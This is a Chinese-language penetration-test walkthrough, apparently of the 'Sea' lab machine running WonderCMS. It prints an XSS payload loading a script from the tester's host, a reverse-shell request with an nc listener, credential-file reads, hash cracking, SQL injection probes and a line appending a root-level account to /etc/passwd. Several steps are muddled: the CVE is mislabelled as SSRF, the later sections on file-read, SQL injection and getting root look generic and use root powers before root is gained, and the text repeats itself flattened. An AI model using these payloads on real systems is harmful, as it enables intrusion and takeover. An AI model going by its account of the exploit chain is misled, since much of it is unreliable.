记一次渗透测试实战之Sea
字数 1251 2025-08-22 12:23:19

WonderCMS渗透测试实战教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始端口扫描:

nmap -sS -T4 -p- sea.htb

发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务

1.2 Web应用分析

访问80端口Web服务:

  • 使用浏览器开发者工具(F12)查看页面源代码
  • 检查HTML注释、隐藏字段、JS文件等可能泄露敏感信息的内容

1.3 目录爆破

使用工具进行目录爆破(如dirb、gobuster等):

gobuster dir -u http://sea.htb -w /path/to/wordlist.txt -x php,html,md

发现关键文件:

  • /README.MD:确认系统为WonderCMS
  • /contact.php:可能存在漏洞的功能点

2. 漏洞利用阶段

2.1 CVE搜索与验证

搜索WonderCMS相关CVE漏洞:

  • 确认存在CVE-2023-41425漏洞
  • 尝试利用SSRF(Server Side Request Forgery)漏洞

2.2 SSRF漏洞利用

测试contact.php的SSRF漏洞:

POST /contact.php HTTP/1.1
Host: sea.htb
Content-Type: application/x-www-form-urlencoded

parameter=http://internal.service

2.3 XSS尝试

尝试XSS注入:

GET /index.php?page=loginURL"></form><script src="http://10.10.16.3:8000/xss.js"></script><form action= HTTP/1.1
Host: sea.htb

2.4 获取Webshell

利用主题目录上传webshell:

  1. 访问/themes/revshell-main/rev.php
  2. 设置反弹shell参数:
GET /themes/revshell-main/rev.php?lhost=10.10.16.3&lport=4444 HTTP/1.1
Host: sea.htb
  1. 本地监听:
nc -lvnp 4444

3. 权限提升阶段

3.1 内网信息收集

获取初始shell后执行:

# 查看系统用户
cat /etc/passwd

# 查找数据库文件
find / -name "*.db" -type f 2>/dev/null

# 检查网络配置
ifconfig
netstat -tulnp

3.2 数据库凭证获取

定位并读取数据库文件:

cat /var/www/html/data/database.db

发现密码哈希:

"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q"

3.3 哈希破解

使用hashcat破解:

hashcat -m 3200 hash.txt /path/to/wordlist.txt

3.4 SSH登录

使用破解的密码尝试SSH登录:

ssh username@sea.htb

3.5 横向移动

  1. 检查sudo权限:
sudo -l
  1. 尝试切换用户:
su - otheruser

4. 权限维持与后渗透

4.1 代理搭建

建立SSH动态端口转发:

ssh -D 1080 username@sea.htb

配置浏览器使用SOCKS代理(127.0.0.1:1080)访问内网资源。

4.2 文件读取漏洞利用

发现文件读取漏洞:

GET /vulnerable.php?file=/etc/passwd HTTP/1.1
Host: sea.htb

4.3 SQL注入测试

发现SQL注入点:

GET /search.php?q=1' AND 1=1-- - HTTP/1.1
Host: sea.htb

使用sqlmap自动化测试:

sqlmap -u "http://sea.htb/search.php?q=1" --risk=3 --level=5

4.4 获取root权限

  1. 添加用户到sudo组:
sudo usermod -aG sudo username
  1. 或者直接添加root用户:
echo "root2:passwordhash:0:0:root:/root:/bin/bash" >> /etc/passwd

5. 漏洞总结与修复建议

5.1 发现的主要漏洞

  1. WonderCMS已知CVE漏洞(CVE-2023-41425)
  2. SSRF漏洞(contact.php)
  3. 不安全的文件上传(主题目录)
  4. 弱密码哈希存储
  5. 不必要服务暴露(22端口)
  6. 文件读取漏洞
  7. 潜在的SQL注入漏洞

5.2 修复建议

  1. 及时更新WonderCMS到最新版本
  2. 对用户输入进行严格过滤和验证
  3. 禁用不必要的服务和端口
  4. 使用强密码策略和加盐哈希
  5. 实施最小权限原则
  6. 定期进行安全审计和渗透测试
  7. 设置Web应用防火墙(WAF)规则

6. 工具清单

本次渗透测试使用的主要工具:

  • nmap:端口扫描
  • gobuster/dirb:目录爆破
  • netcat:反弹shell
  • hashcat:密码哈希破解
  • sqlmap:SQL注入测试
  • ssh:远程访问和端口转发
  • 浏览器开发者工具:前端分析

通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试流程。每个环节都需要仔细分析和验证,确保测试的准确性和有效性。

WonderCMS渗透测试实战教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始端口扫描: 发现开放端口: 22端口:SSH服务 80端口:HTTP服务 1.2 Web应用分析 访问80端口Web服务: 使用浏览器开发者工具(F12)查看页面源代码 检查HTML注释、隐藏字段、JS文件等可能泄露敏感信息的内容 1.3 目录爆破 使用工具进行目录爆破(如dirb、gobuster等): 发现关键文件: /README.MD :确认系统为WonderCMS /contact.php :可能存在漏洞的功能点 2. 漏洞利用阶段 2.1 CVE搜索与验证 搜索WonderCMS相关CVE漏洞: 确认存在CVE-2023-41425漏洞 尝试利用SSRF(Server Side Request Forgery)漏洞 2.2 SSRF漏洞利用 测试contact.php的SSRF漏洞: 2.3 XSS尝试 尝试XSS注入: 2.4 获取Webshell 利用主题目录上传webshell: 访问 /themes/revshell-main/rev.php 设置反弹shell参数: 本地监听: 3. 权限提升阶段 3.1 内网信息收集 获取初始shell后执行: 3.2 数据库凭证获取 定位并读取数据库文件: 发现密码哈希: 3.3 哈希破解 使用hashcat破解: 3.4 SSH登录 使用破解的密码尝试SSH登录: 3.5 横向移动 检查sudo权限: 尝试切换用户: 4. 权限维持与后渗透 4.1 代理搭建 建立SSH动态端口转发: 配置浏览器使用SOCKS代理(127.0.0.1:1080)访问内网资源。 4.2 文件读取漏洞利用 发现文件读取漏洞: 4.3 SQL注入测试 发现SQL注入点: 使用sqlmap自动化测试: 4.4 获取root权限 添加用户到sudo组: 或者直接添加root用户: 5. 漏洞总结与修复建议 5.1 发现的主要漏洞 WonderCMS已知CVE漏洞(CVE-2023-41425) SSRF漏洞(contact.php) 不安全的文件上传(主题目录) 弱密码哈希存储 不必要服务暴露(22端口) 文件读取漏洞 潜在的SQL注入漏洞 5.2 修复建议 及时更新WonderCMS到最新版本 对用户输入进行严格过滤和验证 禁用不必要的服务和端口 使用强密码策略和加盐哈希 实施最小权限原则 定期进行安全审计和渗透测试 设置Web应用防火墙(WAF)规则 6. 工具清单 本次渗透测试使用的主要工具: nmap:端口扫描 gobuster/dirb:目录爆破 netcat:反弹shell hashcat:密码哈希破解 sqlmap:SQL注入测试 ssh:远程访问和端口转发 浏览器开发者工具:前端分析 通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试流程。每个环节都需要仔细分析和验证,确保测试的准确性和有效性。